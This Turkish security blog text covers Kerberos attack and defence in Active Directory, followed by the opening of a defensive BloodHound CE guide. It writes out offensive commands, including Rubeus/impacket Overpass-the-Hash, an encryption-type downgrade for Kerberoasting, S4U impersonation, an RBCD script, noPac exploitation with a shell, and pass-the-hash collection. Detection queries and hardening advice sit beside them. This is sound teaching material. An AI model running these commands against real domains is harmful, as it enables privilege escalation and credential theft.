Pass-the-Hash ile Kerberos arasında doğrudan köprü oluşur (Overpass-the-Hash)
Kerberoasting, servis hesabının NTLM hash'ini elde etmek için RC4 TGS kırar

# Overpass-the-Hash: NTLM hash → Kerberos TGT
Rubeus.exe asktgt /user:USER01 /rc4:aabbccdd... /domain:corp.local /ptt
impacket-getTGT corp.local/USER01 -hashes :aabbccdd...

6.3 AES-256-CTS-HMAC-SHA1-96 (etype 0x12): Neden Daha Güvenli?

AES Kerberos için RFC 3962'de tanımlanmıştır. string2key fonksiyonu:

string2key(password, salt, params):
  iter_count = params.iter_count  # default: 4096
  tkey = random2key(PBKDF2-SHA1(password, salt, iter_count, keylength))
  key = DK(tkey, "kerberos" || 0x00000001 || keylength)

PBKDF2 ile 4096 iterasyon, her tahmin için 4096 SHA-1 hesabı gerektirir. Bu, offline kırmayı RC4'e kıyasla birkaç bin kat yavaşlatır.

AES için salt değeri: REALM + username (ör: CORP.LOCALuser01). Çevrimdışı kırmada wordlist denemelerinin her biri için bu salt ile PBKDF2 çalıştırılır.

AES Golden Ticket: AES krbtgt hash'i gerektirir. Bu hash lsadump::dcsync /user:krbtgt ile elde edilebilir. AES ile oluşturulan Golden Ticket, RC4 ile oluşturulana kıyasla daha az tespit edilir çünkü modern DC'ler RC4 kullanımını loglar.

6.4 msDS-SupportedEncryptionTypes

Bu Active Directory attribute'u, bir principal'ın (kullanıcı/bilgisayar/servis hesabı) hangi şifreleme türlerini kabul ettiğini bit maskesi olarak tanımlar:

Bit  Value        Anlamı
0    0x00000001   DES-CBC-CRC
1    0x00000002   DES-CBC-MD5
2    0x00000004   RC4-HMAC
3    0x00000008   AES128-CTS-HMAC-SHA1-96
7    0x00000080   AES256-CTS-HMAC-SHA1-96  ← en yüksek bit değil!

Yaygın değerler:

0 (set edilmemiş): RC4 varsayılan
0x18 (24): AES-128 + AES-256 — önerilen
0x1C (28): RC4 + AES — geçiş dönemi
0x1F (31): Tümü (DES dahil) — tehlikeli

Kerberoasting downgrade saldırısı:

# GenericWrite ile msDS-SupportedEncryptionTypes'ı RC4'e indir
Set-ADUser svcSQLAdmin -Replace @{
    'msDS-SupportedEncryptionTypes' = 4  # Yalnızca RC4
}

# Ardından Kerberoast → hashcat -m 13100 (çok daha hızlı)

Tespit: EID 4769'da ticket_encryption_type = 0x17 (RC4) — hedef hesap AES destekliyorken RC4 isteği şüpheli.

Bölüm 7: S4U Uzantıları — Protocol Transition ve Delegation

7.1 S4U2Self (MS-SFU §3.1)

S4U2Self (Service-for-User-to-Self), bir servis hesabının herhangi bir kullanıcı adına kendi servisi için TGS almasını sağlar. Bu "protocol transition" olarak adlandırılır çünkü Kerberos olmayan bir kimlik doğrulama mekanizmasından (NTLM, sertifika) Kerberos kimlik doğrulamasına geçiş yapılır.

S4U2Self akışı:
1. Service → KDC: TGS-REQ
   - PA-FOR-USER: { userName: "TargetUser", userRealm: "CORP.LOCAL" }
   - sname: kendi SPN'i
2. KDC → Service: TGS-REP
   - Ticket: TargetUser için ServiceAccount servisi için ST
   - Ticket'ta TargetUser'ın PAC'ı var
   - FORWARDABLE flag: TrustedToAuthForDelegation varsa set edilir

S4U2Self'in istismar senaryosu:

# Rubeus ile S4U2Self
Rubeus.exe s4u /user:svcAccount /password:Password1! \
  /impersonateuser:Administrator /msdsspn:cifs/dc01.corp.local \
  /domain:corp.local /ptt

7.2 S4U2Proxy (MS-SFU §3.2)

S4U2Proxy, S4U2Self'in devamıdır. Servis hesabı, S4U2Self'den aldığı "forwardable" bilet ile başka bir servise kullanıcı adına erişebilir.

S4U2Proxy akışı:
1. Service → KDC: TGS-REQ
   - additional-tickets[0]: S4U2Self'ten alınan ST (FORWARDABLE)
   - sname: hedef servisin SPN'i
2. KDC → Service: TGS-REP
   - Ticket: TargetUser için TargetService için ST
3. Service → TargetService: AP-REQ
   - Ticket: adım 2'deki ST

7.3 Constrained vs Unconstrained Delegation

Unconstrained Delegation (userAccountControl: TRUSTED_FOR_DELEGATION):
Servis, kullanıcının TGT'sini direkt alır ve istediği servise iletir. KDC, TGT'yi AP-REQ içinde ek bilet olarak gönderir. Saldırı: Unconstrained delegation flag'i olan bir servisi compromise ederek bağlanan kullanıcıların (Domain Admin dahil) TGT'lerini çalmak.

# Unconstrained delegation flag'li servis hesapları
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation
Get-ADUser -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation

Constrained Delegation (msDS-AllowedToDelegateTo):
Servis yalnızca belirtilen SPN listesine S4U2Proxy yapabilir. Daha güvenli ancak yanlış yapılandırılırsa istismar edilebilir.

Resource-Based Constrained Delegation (RBCD):
Hedef kaynak, hangi hesapların kendisi adına delegation yapabileceğini kontrol eder (msDS-AllowedToActOnBehalfOfOtherIdentity). GenericWrite yetkisi olan bir saldırgan bu attribute'u değiştirerek privilege escalation yapabilir.

# RBCD saldırısı
$SD = New-Object Security.AccessControl.RawSecurityDescriptor(
  "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-...-1234)")
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Set-ADComputer -Identity "TargetComputer" -PrincipalsAllowedToDelegateToAccount AttackerMachine$

Bölüm 8: KRB-ERROR Mesajları ve Hata Analizi

Kerberos hata mesajları, hem troubleshooting hem de güvenlik açısından kritiktir:

KRB_ERR_NONE                    = 0
KDC_ERR_NAME_EXP                = 1   -- Principal expired
KDC_ERR_SERVICE_EXP             = 2   -- Service expired
KDC_ERR_BAD_PVNO               = 3   -- Bad Kerberos version
KDC_ERR_C_OLD_MAST_KVNO        = 4   -- Old master key version
KDC_ERR_S_OLD_MAST_KVNO        = 5   -- Old service key version
KDC_ERR_C_PRINCIPAL_UNKNOWN    = 6   -- Client not found in DB
KDC_ERR_S_PRINCIPAL_UNKNOWN    = 7   -- Server not found in DB (wrong SPN!)
KDC_ERR_PRINCIPAL_NOT_UNIQUE   = 8   -- Multiple principals
KDC_ERR_NULL_KEY               = 9   -- No key for principal
KDC_ERR_CANNOT_POSTDATE        = 10  -- Postdating not allowed
KDC_ERR_NEVER_VALID            = 11  -- Invalid time range
KDC_ERR_POLICY                 = 12  -- KDC policy violation
KDC_ERR_BADOPTION              = 13  -- Invalid KDC option
KDC_ERR_ETYPE_NOSUPP           = 14  -- No supported etype
KDC_ERR_SUMTYPE_NOSUPP         = 15  -- No supported checksum
KDC_ERR_PADATA_TYPE_NOSUPP     = 16  -- No supported PA-DATA type
KDC_ERR_TRTYPE_NOSUPP          = 17  -- No supported transit type
KDC_ERR_CLIENT_REVOKED         = 18  -- Client's creds revoked (disabled account!)
KDC_ERR_SERVICE_REVOKED        = 19  -- Service's creds revoked
KDC_ERR_TGT_REVOKED            = 20  -- TGT has been revoked
KDC_ERR_CLIENT_NOTYET          = 21  -- Client not yet valid
KDC_ERR_SERVICE_NOTYET         = 22  -- Service not yet valid
KDC_ERR_KEY_EXPIRED            = 23  -- Password has expired
KDC_ERR_PREAUTH_FAILED         = 24  -- Pre-auth info was incorrect
KDC_ERR_PREAUTH_REQUIRED       = 25  -- Pre-auth required
KDC_ERR_SERVER_NOMATCH         = 26  -- Server and ticket don't match
KDC_ERR_MUST_USE_USER2USER     = 27  -- Must use user-to-user auth
KDC_ERR_PATH_NOT_ACCEPTED      = 28  -- Referral path rejected
KDC_ERR_SVC_UNAVAILABLE        = 29  -- Service unavailable
KRB_AP_ERR_BAD_INTEGRITY       = 31  -- Integrity check failed (wrong key!)
KRB_AP_ERR_TKT_EXPIRED         = 32  -- Ticket expired
KRB_AP_ERR_TKT_NYV             = 33  -- Ticket not yet valid
KRB_AP_ERR_REPEAT               = 34  -- Repeated request (replay!)
KRB_AP_ERR_NOT_US              = 35  -- Ticket not for us
KRB_AP_ERR_BADMATCH            = 36  -- Ticket/authenticator mismatch
KRB_AP_ERR_SKEW                = 37  -- Clock skew too great (>5 min!)
KRB_AP_ERR_NOKEY               = 38  -- No key available
KRB_AP_ERR_MUT_FAIL            = 39  -- Mutual auth failed
KRB_AP_ERR_BADDIRECTION        = 40  -- Wrong direction
KRB_AP_ERR_METHOD              = 41  -- Alternative method required
KRB_AP_ERR_BADSEQ              = 42  -- Incorrect sequence number
KRB_AP_ERR_INAPP_CKSUM        = 43  -- Inappropriate checksum
KRB_AP_PATH_NOT_ACCEPTED       = 44  -- Path rejected
KRB_ERR_RESPONSE_TOO_BIG       = 52  -- Response too big for UDP (use TCP)
KRB_ERR_GENERIC                = 60  -- Generic error
KRB_ERR_FIELD_TOOLONG          = 61  -- Field too long
KDC_ERROR_CLIENT_NOT_TRUSTED   = 62  -- Client not trusted (PKINIT)
KDC_ERR_WRONG_REALM            = 68  -- Wrong realm

Pentest için kritik hatalar:

KDC_ERR_PREAUTH_REQUIRED (25): Normal — hesap pre-auth istiyor
KDC_ERR_PREAUTH_FAILED (24): Yanlış şifre
KDC_ERR_CLIENT_REVOKED (18): Hesap devre dışı
KRB_AP_ERR_SKEW (37): Saat senkronizasyonu sorunu (Kerberos ±5 dk tolerans ister)
KDC_ERR_S_PRINCIPAL_UNKNOWN (7): SPN yok — Kerberoast için geçersiz SPN

Bölüm 9: Wireshark ile Kerberos Trafik Analizi

9.1 Filtreleme

# Tüm Kerberos trafiği
kerberos

# Mesaj türüne göre
kerberos.msg_type == 10   # AS-REQ
kerberos.msg_type == 11   # AS-REP
kerberos.msg_type == 12   # TGS-REQ
kerberos.msg_type == 13   # TGS-REP
kerberos.msg_type == 14   # AP-REQ
kerberos.msg_type == 15   # AP-REP
kerberos.msg_type == 30   # KRB-ERROR

# Hata koduna göre
kerberos.error_code == 25   # PREAUTH_REQUIRED
kerberos.error_code == 24   # PREAUTH_FAILED
kerberos.error_code == 18   # CLIENT_REVOKED
kerberos.error_code == 37   # Clock skew

# Belirli bir kullanıcı
kerberos.CNameString == "user01"

# RC4 kullanımı (şüpheli)
kerberos.etype == 23

# Belirli SPN
kerberos.SNameString contains "krbtgt"
kerberos.SNameString contains "cifs"

9.2 AS-REQ Anatomisi — Wireshark'ta Ne Görürsünüz?

Kerberos
  pvno: 5
  msg-type: krb-as-req (10)
  padata: 2 items
    PA-DATA pA-ENC-TIMESTAMP (2)
      padata-type: pA-ENC-TIMESTAMP (2)
      padata-value: 3022a003020112a11b3019...
        EncryptedData
          etype: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)
          cipher: [256-bit encrypted timestamp]
    PA-DATA pA-PAC-REQUEST (128)
      padata-type: pA-PAC-REQUEST (128)
      padata-value: 3005a0030101ff  -- include-pac: TRUE
  req-body
    kdc-options: 0x40810010
      .... .... .... .... ..0. ....  -- not renewable
      ...0 .... .... .... .... ....  -- not forwardable
    cname: user01
    realm: CORP.LOCAL
    sname: krbtgt/CORP.LOCAL
    till: 2037-09-13 02:48:05 (max time)
    nonce: 0x1234ABCD
    etype: 18 17 11 3 1 2  -- preferred etypes in order

Pre-auth yoksa (AS-REP Roasting hedefi):

padata: 0 items  -- NO PA-ENC-TIMESTAMP

9.3 TGS-REQ İçinde Kerberoasting Tespiti

Wireshark'ta şüpheli TGS-REQ:

kerberos.SNameString != "krbtgt"   # Service ticket (normal olabilir)
kerberos.etype == 23               # RC4 isteniyor

Bunları birleştirdiğinizde: RC4 ile şifreli TGS isteği, servis hesabı için → Kerberoasting girişimi olabilir.

Bölüm 10: Tespit ve Savunma

10.1 Windows Event ID Referansı

EID 4768 — Kerberos Authentication Ticket (TGT) Requested
  Alanlar: Account Name, Supplied Realm, Service Name, Ticket Options,
           Result Code, Ticket Encryption Type, Pre-Authentication Type,
           IP Address, Certificate Issuer, Certificate Serial Number

EID 4769 — Kerberos Service Ticket (TGS) Requested
  Alanlar: Account Name, Service Name, Ticket Options,
           Ticket Encryption Type, Failure Code, Transited Services

EID 4770 — Kerberos Service Ticket Renewed
  Yenileme isteği

EID 4771 — Kerberos Pre-Authentication Failed
  Account Name, IP Address, Failure Code
  Failure Code 0x18 = yanlış şifre

EID 4672 — Special Logon
  Yeni bir logon oturumuna Administrator veya DA hakları atandı
  Golden/Silver Ticket başarılı olunca bu üretilir

10.2 Golden Ticket Tespiti

# EID 4769 + 4768 korelasyonu
# Golden Ticket tespiti için:
# 1. EID 4768 yok ama EID 4769 var (TGT olmadan TGS isteği)
# 2. EID 4768'de EncryptionType = 0x17 (RC4) — DC AES kullanıyor ama RC4 TGT
# 3. EID 4769'da anormal AccountDomain
# 4. Ticket süresi anormal (örneğin 10 yıl)

# KQL (Microsoft Sentinel)
SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17"
| where ServiceName !endswith "$"
| where AccountDomain == "CORP.LOCAL"

Davranışsal anomaliler:

authtime çok eski (Golden Ticket oluşturulurken statik değer girildi)
renew-till 10 yıl sonra
cname ile logon gören kullanıcı arasında uyumsuzluk
Bilinen olmayan bir client IP'sinden gelen bilet

10.3 Kerberoasting Tespiti

# EID 4769 - RC4 şifreli TGS isteği (servis hesabı için)
SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17"   // RC4
| where ServiceName != "krbtgt"
| where ServiceName !endswith "$"
| where IpAddress != "-"
| summarize count() by IpAddress, AccountName, ServiceName, bin(TimeGenerated, 1h)
| where count_ > 5   // Çok sayıda istek = otomasyon

Özellikle dikkat edilecek:

Tek bir kaynak IP'den çok sayıda TGS isteği
Farklı servis hesapları için yoğun TGS talebi
AES destekleyen ortamda RC4 ile TGS

10.4 AS-REP Roasting Tespiti

# EID 4768 - Pre-auth type = 0 (pre-auth yok)
SecurityEvent
| where EventID == 4768
| where PreAuthType == "0"   // No pre-auth
| where Status == "0x0"      // Başarılı

Önlem: userAccountControl attribute'unda DONT_REQUIRE_PREAUTH flag'ini kaldır.

# DONT_REQUIRE_PREAUTH flag'i olan hesapları bul
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth

# Flag'i kaldır
Set-ADAccountControl -Identity user01 -DoesNotRequirePreAuth $false

10.5 Savunma Tavsiyeleri

krbtgt Hesabı:

# krbtgt şifresini döngüsel olarak sıfırla (Golden Ticket'ı geçersiz kılar)
# Önemli: İki kez sıfırlanmalı (her DC'nin eski anahtarı temizlemesi için)
# Araç: New-KrbtgtKeys.ps1 (Microsoft)

# Read-only DC'lerin kendi krbtgt hesapları var
# RODC compromise → yalnızca RODC krbtgt sıfırla

Şifreleme Politikası:

GPO: Computer Config → Windows Settings → Security Settings →
     Local Policies → Security Options →
     "Network security: Configure encryption types allowed for Kerberos"
Önerilen: AES128, AES256 (DES ve RC4'ü devre dışı bırak)

PAC Doğrulama:

HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters
ValidateKdcPacSignature = 1

Microsoft Defender for Identity (MDI/ATA) Uyarıları:

Forged PAC using encryption downgrade activity
Kerberos Golden Ticket activity
Kerberos Silver Ticket activity
Overpass-the-Hash activity
Suspected Kerberoasting activity
Account enumeration reconnaissance using Kerberos queries

Bölüm 11: CVE'ler ve Önemli Güvenlik Açıkları

MS14-068 (CVE-2014-6324)

Etki: Herhangi bir domain kullanıcısı → Domain Admin

Mekanizma: KDC, checksum tipi 0xFFFFFFFF (MD5, imzasız) kabul ediyordu. Saldırgan:

Geçerli bir TGT alır
PAC'ı modify eder — GroupIds'e Domain Admin RID ekler
Checksum tipi olarak MD5 (imzasız) kullanır
KDC, yanlış checksum tipini reddedecek yerde kabul etti

Düzeltme: KB3011780 (Kasım 2014). Güncel sistemlerde yoktur ancak 2014 öncesi unpatched sistemlerde hâlâ istismar edilebilir.

noPac (CVE-2021-42287 + CVE-2021-42278)

Etki: Domain kullanıcısı → Domain Admin (hızla)

Mekanizma:

CVE-2021-42278: Machine account (sAMAccountName) Domain Controller ismiyle aynı yapılabilir
CVE-2021-42287: KDC, TGS isteğinde sAMAccountName bulamazsa $ ekleyerek tekrar arar

Kombine saldırı:

Machine account oluştur: sAMAccountName = DC01 (DC'nin ismiyle aynı)
TGT al: user@CORP.LOCAL için değil, DC01@CORP.LOCAL için
Machine account'un sAMAccountName'ini değiştir (başka bir şey yap)
TGS iste: DC01@CORP.LOCAL'ın TGT'si ile krbtgt servisi için
KDC, DC01 bulamaz, DC01$ arar ve gerçek DC'yi bulur
Sonuç: gerçek DC yetkilerine sahip TGS alınır

# noPac saldırısı
noPac.py -scan CORP.LOCAL/user01:Password1! -dc-ip 10.0.0.1
noPac.py CORP.LOCAL/user01:Password1! -dc-ip 10.0.0.1 -shell

Düzeltme: KB5008380 ve KB5008602 (Kasım/Aralık 2021).

Sapphire Ticket (2022)

Diamond Ticket'ın geliştirilmiş versiyonu. Gerçek bir kullanıcının PAC'ını başka bir kullanıcının bileti için kullanır. S4U2Self mekanizması üzerinden gerçek bir PAC alınır ve başka bir bilet içine enjekte edilir. Sonuç: tüm PAC checksum'ları geçerli.

Referanslar ve İleri Okuma

RFC'ler:

RFC 4120 (2005) — The Kerberos Network Authentication Service (V5)
RFC 3961 (2005) — Encryption and Checksum Specifications for Kerberos 5
RFC 3962 (2005) — Advanced Encryption Standard (AES) Encryption for Kerberos 5
RFC 4757 (2006) — The RC4-HMAC Kerberos Encryption Types
RFC 6113 (2011) — A Generalized Framework for Kerberos Pre-Authentication
RFC 6806 (2012) — Kerberos Principal Name Canonicalization

Microsoft Dokümanları:

MS-KILE: Kerberos Protocol Extensions
MS-PAC: Privilege Attribute Certificate Data Structure
MS-SFU: Kerberos Protocol Extensions: Service for User and Constrained Delegation Protocol

Akademik Çalışmalar:

Neuman, C. & Ts'o, T. (1994). "Kerberos: An Authentication Service for Computer Networks." IEEE Communications.
Bellovin, S.M. & Merritt, M. (1991). "Limitations of the Kerberos Authentication System." USENIX Conference Proceedings.

Araştırma Blogları:

harmj0y: "The Evolution of Protected Users"
harmj0y: "Kerberoasting Without Mimikatz"
gentilkiwi (mimikatz belgesi): MS-KILE PAC implementation
Sean Metcalf (adsecurity.org): "Detecting Kerberoasting Activity"
Will Schroeder (@harmj0y) / Lee Christensen (@tifkin_): "An Ace Up the Sleeve"

BloodHound CE ile Defensif AD Analizi: Saldırı Yolu Yönetimi

2026-06-29T10:00:00Z

Giriş: Saldırganın Haritasını Savunmacı Kullanmak

2016 yılında Andy Robbins, Rohan Vazarkar ve Will Schroeder DEF CON'da BloodHound'u tanıttığında, seyirci salonundan yükselen tepki karışıktı: kırmızı takım üyeleri sevinirken, birçok sistem yöneticisi bunun ne kadar tehlikeli olduğunu anlamakta zorlandı. BloodHound, Active Directory ortamlarındaki ilişkileri bir grafik veritabanında modelleyen ve bu grafik üzerinde en kısa saldırı yollarını hesaplayan açık kaynaklı bir araçtı. Bir saldırgan, etki alanında herhangi bir standart kullanıcı hesabına sahip olsa bile Domain Admin'e giden yolu otomatik olarak bulabiliyordu.

Bugün tablo farklı. SpecterOps, BloodHound'u Attack Path Management (APM) kavramına dönüştürdü: artık bu araç yalnızca saldırganların kullandığı bir keşif silahı değil, blue team'lerin sürekli olarak AD güvenlik duruşunu ölçtüğü bir savunma platformudur. BloodHound Community Edition (CE), bu yeni nesil yaklaşımın ücretsiz, açık kaynak halidir.

Bu yazıda BloodHound CE'yi defensif bir perspektiften inceleyeceğiz: kurulumdan veri toplama metodolojisine, tier model implementasyonundan özel Cypher sorgularına, saldırı yolu önceliklendirmesinden sistematik iyileştirme iş akışına kadar her adımı derinlemesine ele alacağız. Amaç, organizasyonunuzun Active Directory ortamını bir saldırganın gözüyle görerek, o saldırgan harekete geçmeden önce kritik güvenlik açıklarını kapatmaktır.

BloodHound CE vs. Legacy BloodHound: Ne Değişti?

BloodHound tarihsel olarak üç farklı ürüne evrildi. Bu ayrımı anlamak, doğru aracı seçmek için kritiktir.

Legacy BloodHound (v4 ve öncesi)

Orijinal BloodHound, Electron tabanlı bir masaüstü uygulamasıydı. Tek kullanıcılıydı, Neo4j doğrudan yerel makinede çalışırdı. Kurulumu zahmetliydi ve özellikle Windows dışı platformlarda ciddi sorunlar yaşatırdı. Hâlâ çalışan ve belirli kullanım senaryoları için yeterli olan bu sürüm, büyük kurumsal ortamlar için artık önerilmemektedir.

BloodHound CE (Community Edition — v5+)

Modern BloodHound tamamen yeniden yazıldı. React tabanlı web arayüzü, Docker Compose ile saniyeler içinde ayağa kalkan servisler, çok kullanıcılı erişim desteği (RBAC), REST API ve iki veritabanı katmanı (PostgreSQL + Neo4j) ile gelir. Kurulum tek bir komut, erişim herhangi bir tarayıcıdan. BloodHound CE, GitHub üzerinde Apache 2.0 lisansıyla dağıtılmaktadır.

BloodHound Enterprise (BHE)

SpecterOps'un ticari ürünüdür. CE'nin tüm özelliklerine ek olarak sürekli Attack Path Management, otomatik raporlama, tenant-based çoklu orman desteği, Tier Zero asset yönetimi ve SIEM entegrasyonları sunar. Büyük kurumsal ortamlar için tasarlanmıştır; fiyatlandırma lisans bazındadır.

SharpHound vs BloodHound.py: Veri Toplayıcılar

SharpHound (.NET): Resmi kolektör. Windows'tan çalışır, domain-joined makine gerektirmez (uzaktan da kullanılabilir), en kapsamlı veri setini üretir. Tüm koleksiyon metodlarını destekler: ACL, Session, LoggedOn, ObjectProps, Trusts, Container, CertServices, GPOLocalGroup.
BloodHound.py (Python): Topluluk destekli, Linux/macOS'tan çalışır. Ağ erişimi ve geçerli domain kimlik bilgileri yeterlidir. Domain-joined makine gerekmez. LDAP+Kerberos üzerinden çalışır; SharpHound'a kıyasla bazı koleksiyon metodları eksik veya daha yavaş olabilir.

BloodHound CE Kurulum

BloodHound CE'nin en hızlı yolu Docker Compose'dur. Production ortamlarda ayrı bir analiz makinesi (jump host veya güvenli iş istasyonu) kullanmanız önerilir.

# Tek komutla kurulum — Docker ve Docker Compose gerekli
curl -L https://ghst.ly/getbhce | docker compose -f - up

# Arka planda çalıştır
curl -L https://ghst.ly/getbhce | docker compose -f - up -d

# Varsayılan URL: http://localhost:8080
# İlk giriş şifresi Docker log çıktısında gösterilir:
docker logs bloodhound-ce_bloodhound_1 2>&1 | grep "Initial Password"

Kurulum tamamlandığında BloodHound CE üç konteyner çalıştırır:

bloodhound: Ana BloodHound uygulaması (Go backend + React frontend)
graph-db: Neo4j 4.4 (Cypher sorgu motoru)
app-db: PostgreSQL (kullanıcı yönetimi, uygulama verisi)

İlk girişte şifreyi değiştirin ve analiz için bir domain kullanıcısı ya da API token oluşturun.

Güvenli Kurulum Notları:

# Production'da 0.0.0.0 yerine localhost'a bağla
# docker-compose.yml'de:
# ports:
#   - "127.0.0.1:8080:8080"

# TLS için önünde nginx reverse proxy kullanın
# Koleksiyon sırasında uç noktayı VPN arkasında tutun

SharpHound ile Veri Toplama

Veri toplama, tüm analizin temelidir. SharpHound'un ne topladığını ve nasıl çalıştırıldığını anlamak, hem doğru analiz için hem de koleksiyonun yarattığı ağ gürültüsünü değerlendirmek için kritiktir.

Temel Koleksiyon Metodları:

# Tüm veriyi topla (en kapsamlı, en gürültülü)
.\SharpHound.exe -c All --zipfilename corp_bhdata.zip

# Sadece DC'lerden topla — çok daha az gürültülü, hızlı
.\SharpHound.exe -c DCOnly

# Yalnızca ACL ve grup bilgisi (oturum verisi olmadan)
.\SharpHound.exe -c ACL,Group,ObjectProps,Container

# Session verisi — hangi kullanıcı hangi makinede oturum açmış
# Bu koleksiyon lokal admin hakları gerektirir (SMB üzerinden)
.\SharpHound.exe -c Session,LoggedOn --computermaxconn 5

# Belirli OU hedefle (büyük ortamlarda parçalı koleksiyon)
.\SharpHound.exe -c All --searchbase "OU=Workstations,DC=corp,DC=local"

# ADCS verisi (sertifika şablonları, CA'lar)
.\SharpHound.exe -c CertServices

# Uzak domain koleksiyonu (domain-joined olmayan makineden)
.\SharpHound.exe -c All -d corp.local --ldapusername jdoe --ldappassword 'P@ssw0rd'

# Linux'tan uzak koleksiyon (BloodHound.py)
pip3 install bloodhound
python3 bloodhound.py \
  -u jdoe \
  -p 'Password123' \
  -d corp.local \
  -dc dc01.corp.local \
  -c all \
  --zip \
  --dns-tcp

# Kerberos kimlik doğrulama ile (Pass-the-Hash veya PKINIT)
python3 bloodhound.py \
  -u jdoe@corp.local \
  --hashes :aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 \
  -d corp.local \
  -dc dc01.corp.local \
  -c all \
  --zip

Koleksiyon Güvenliği ve Gürültü Yönetimi:

BloodHound koleksiyonu domain ortamında iz bırakır. Blue team olarak kendi koleksiyonunuzu yetkilendirdiğiniz bir zaman penceresi belirleyin:

Session koleksiyonu: Her hedefe SMB bağlantısı açar. IDS/IPS tarafından yakalanabilir.
LoggedOn koleksiyonu: Uzak registry (RemoteRegistry servisi) gerektirir, etkinleştirilmemiş sistemlerde çalışmaz.
ACL koleksiyonu: LDAP üzerinden çalışır, neredeyse sessizdir. Tercih edilir başlangıç noktası.
Koleksiyon için hizmet hesabı oluşturun: svc_bloodhound. Minimum haklar: domain user + RemoteRegistry okuma.

Tier Model (Katmanlı Yönetim Modeli)

BloodHound verisi ne kadar zengin olursa olsun, bir bağlam olmadan anlamsızdır. Bu bağlam Tier Modeldir — Microsoft'un ESAE (Enhanced Security Admin Environment) ve PAW (Privileged Access Workstations) çerçevesine dayanan kimlik bilgisi izolasyon mimarisi.

Tier 0 — Kontrol Düzlemi (Control Plane)

Tier 0, kimlik düzlemini kontrol eden varlıkları kapsar. Bu tier'ın güvenliği ihlal edilirse organizasyonun tüm dijital varlıkları tehlike altındadır.

Tier 0 varlıkları:

Domain Controllers (tüm DC'ler, RODC dahil)
Enterprise CA sunucuları (ADCS PKI altyapısı)
ADFS sunucuları (federation ve token imzalama)
Azure AD Connect / AAD Sync (kimlik senkronizasyonu, hash sync içerir)
Tier 0'ı yöneten yedekleme sistemleri (Veeam, Backup Exec — AD aware)
Domain Admins, Enterprise Admins, Schema Admins grupları
Tier 0 PAW'ları (bu varlıkları yöneten ayrıcalıklı erişim iş istasyonları)

Tier 1 — Sunucu Katmanı

Kurumsal uygulamalar, veritabanları ve altyapı servisleri. Tier 0 kimlik bilgileri bu tier'da asla kullanılmaz.

Tier 1 varlıkları:

Uygulama sunucuları (IIS, Tomcat, JBoss)
Veritabanı sunucuları (SQL Server, Oracle)
Dosya sunucuları (DFS, SMB paylaşımları)
Exchange / mail sunucuları (Exchange WriteDACL riski özellikle önemli)
SCCM / Intune yönetim sunucuları
Tier 1 servis hesapları

Tier 2 — Kullanıcı Katmanı

İnternet'e en çok maruz kalan, phishing ve başlangıç erişim saldırıları için birincil hedef tier.

Tier 2 varlıkları:

Kullanıcı workstationları ve laptoplar
Sanal masaüstleri (VDI)
Helpdesk hesapları (Tier 2 sınırı içinde tutulmalı)
Standart domain kullanıcıları

BloodHound ile Tier İhlallerini Tespit Etme:

Tier model uygulamadan önce mevcut ihlalleri tespit etmelisiniz. BloodHound bu konuda son derece değerlidir:

// Tier 2 kullanıcısından Tier 0 varlığına herhangi bir yol
// (Önce node'lara tier property ekleyin — BH custom properties veya dış etiketleme)
MATCH p=shortestPath(
  (u:User {enabled:true})
  -[*1..8]->
  (t:Computer)
)
WHERE t.name IN ['DC01.CORP.LOCAL', 'CA01.CORP.LOCAL', 'ADFSRV01.CORP.LOCAL']
AND NOT u.name STARTS WITH 'CORP\\DA-'
RETURN u.name, t.name, length(p) as Hops
ORDER BY Hops ASC

// Servis hesabı Tier 0 grubunda mı?
MATCH (u:User)-[:MemberOf*1..]->(g:Group)
WHERE g.name =~ '(?i).*(domain admins|enterprise admins|schema admins).*'
AND u.name =~ '(?i).*(svc_|service_|sa_).*'
RETURN u.name, g.name

Kritik Saldırı Yolu Türleri ve Tespiti

BloodHound'un güçlü olduğu birkaç kritik saldırı kategorisi vardır. Her birini, nasıl tespit edileceğini ve nasıl iyileştirileceğini tek tek ele alalım.

1. Kerberoasting Yolları

Kerberoasting, SPN (Service Principal Name) kayıtlı hesapların TGS biletlerini çevrimdışı kırmaya dayanan bir saldırıdır. BloodHound'da hasspn:true özelliğiyle sorgulanır.

Risk faktörleri:

Hesap admincount:true ise — doğrudan Domain Admin yolu
Şifre son değiştirilme tarihi eski ise — zayıf şifre olasılığı yüksek
RC4 şifreleme destekleniyorsa — modern GPU'larla çok hızlı kırılır
Hesap son giriş tarihi eski ise — sahipsiz hesap

// Kerberoastable hesaplar ve DA'ya uzaklıkları
MATCH (u:User {hasspn:true, enabled:true})
OPTIONAL MATCH p=shortestPath(
  (u)-[*1..10]->
  (g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})
)
RETURN u.name,
       u.serviceprincipalnames,
       u.pwdlastset,
       u.admincount,
       length(p) as HopsToDA
ORDER BY HopsToDA ASC NULLS LAST

// Yüksek değerli Kerberoastable hesaplar (DA yolunda)
MATCH (u:User {hasspn:true, enabled:true, admincount:true})
RETURN u.name,
       u.serviceprincipalnames,
       datetime({epochSeconds: toInteger(u.pwdlastset)}) as PasswordLastSet

İyileştirme öncelikleri:

Tüm Kerberoastable admin hesapları → gMSA (Group Managed Service Account) ile değiştir
gMSA mümkün değilse: AES256 şifreleme zorla, 25+ karakter şifre, 180 günde bir rotasyon
Hesabı Protected Users grubuna al (RC4 kaldırır, TGS süresi kısalır)

2. AS-REP Roasting

Kerberos ön kimlik doğrulaması devre dışı bırakılmış hesaplar, herhangi bir kimlik doğrulaması olmadan şifreli yanıt alabilir — bu yanıt çevrimdışı kırılabilir.

// AS-REP Roastable hesaplar ve etkileri
MATCH (u:User {dontreqpreauth:true, enabled:true})
OPTIONAL MATCH p=shortestPath(
  (u)-[*1..10]->
  (g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})
)
RETURN u.name,
       u.admincount,
       u.description,
       length(p) as HopsToDA
